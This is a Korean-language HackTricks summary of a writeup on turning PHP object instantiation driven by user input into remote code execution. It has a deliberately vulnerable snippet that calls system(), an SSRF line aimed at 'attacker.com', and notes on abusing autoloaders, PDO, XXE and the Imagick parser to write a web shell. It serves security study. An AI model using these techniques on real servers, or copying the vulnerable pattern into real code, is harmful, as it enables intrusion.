PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])

Support HackTricks

이 문서는 https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/의 요약입니다.

소개

new $_GET["a"]($_GET["a"])와 같은 새로운 임의 객체의 생성은 원격 코드 실행(RCE)으로 이어질 수 있으며, 이는 writeup에 자세히 설명되어 있습니다. 이 문서는 RCE를 달성하기 위한 다양한 전략을 강조합니다.

사용자 정의 클래스 또는 자동 로딩을 통한 RCE

new $a($b) 구문은 객체를 인스턴스화하는 데 사용되며, 여기서 **$a**는 클래스 이름을 나타내고 **$b**는 생성자에 전달되는 첫 번째 인수입니다. 이러한 변수는 GET/POST와 같은 사용자 입력에서 문자열 또는 배열로, 또는 JSON에서 다른 유형으로 나타날 수 있습니다.

아래의 코드 스니펫을 고려하십시오:

class App {
function __construct ($cmd) {
system($cmd);
}
}

class App2 {
function App2 ($cmd) {
system($cmd);
}
}

$a = $_GET['a'];
$b = $_GET['b'];

new $a($b);

이 경우, $aApp 또는 App2로 설정하고 $b를 시스템 명령어(예: uname -a)로 설정하면 해당 명령어가 실행됩니다.

자동 로딩 함수는 그러한 클래스에 직접 접근할 수 없는 경우 악용될 수 있습니다. 이러한 함수는 필요할 때 파일에서 클래스를 자동으로 로드하며, spl_autoload_register 또는 __autoload를 사용하여 정의됩니다:

spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
});

function __autoload($class_name) {
include $class_name . '.php';
};

spl_autoload_register();

PHP 버전에 따라 자동 로딩의 동작이 달라지며, 다양한 RCE 가능성을 제공합니다.

내장 클래스에 의한 RCE

사용자 정의 클래스나 자동 로더가 부족한 경우, 내장 PHP 클래스가 RCE에 충분할 수 있습니다. 이러한 클래스의 수는 PHP 버전과 확장에 따라 100에서 200 사이입니다. get_declared_classes()를 사용하여 나열할 수 있습니다.

관심 있는 생성자는 반사 API를 통해 식별할 수 있으며, 다음 예제와 링크 https://3v4l.org/2JEGF에서 확인할 수 있습니다.

특정 메서드를 통한 RCE에는 다음이 포함됩니다:

SSRF + Phar 역직렬화

SplFileObject 클래스는 생성자를 통해 SSRF를 가능하게 하여, 모든 URL에 연결할 수 있습니다:

new SplFileObject('http://attacker.com/');

SSRF는 Phar 프로토콜을 사용하는 PHP 8.0 이전 버전에서 역직렬화 공격으로 이어질 수 있습니다.

PDO 악용하기

PDO 클래스 생성자는 DSN 문자열을 통해 데이터베이스에 연결할 수 있게 하여, 파일 생성 또는 기타 상호작용을 가능하게 합니다:

new PDO("sqlite:/tmp/test.txt")

SoapClient/SimpleXMLElement XXE

PHP 5.3.22 및 5.4.12 버전까지는 SoapClientSimpleXMLElement 생성자를 통해 XXE 공격에 취약했습니다. 이는 libxml2의 버전에 따라 달라집니다.

RCE via Imagick Extension

프로젝트의 의존성 분석에서 Imagick가 새로운 객체를 인스턴스화하여 명령 실행에 활용될 수 있음을 발견했습니다. 이는 취약점을 악용할 기회를 제공합니다.

VID parser

파일 시스템의 지정된 경로에 콘텐츠를 쓸 수 있는 VID 파서 기능이 확인되었습니다. 이는 웹에서 접근 가능한 디렉토리에 PHP 쉘을 배치하여 원격 코드 실행(RCE)을 달성할 수 있습니다.

VID Parser + File Upload

PHP는 업로드된 파일을 /tmp/phpXXXXXX에 임시로 저장하는 것으로 알려져 있습니다. msl 프로토콜을 사용하는 Imagick의 VID 파서는 파일 경로에서 와일드카드를 처리할 수 있어 임시 파일을 선택한 위치로 전송할 수 있습니다. 이 방법은 파일 시스템 내에서 임의의 파일 작성을 달성하는 추가적인 접근 방식을 제공합니다.

PHP Crash + Brute Force

원본 작성물에 설명된 방법은 삭제 전에 서버 충돌을 유발하는 파일을 업로드하는 것입니다. 임시 파일의 이름을 무작위로 시도함으로써 Imagick가 임의의 PHP 코드를 실행할 수 있게 됩니다. 그러나 이 기술은 구버전의 ImageMagick에서만 효과적인 것으로 나타났습니다.

References

Support HackTricks

Last updated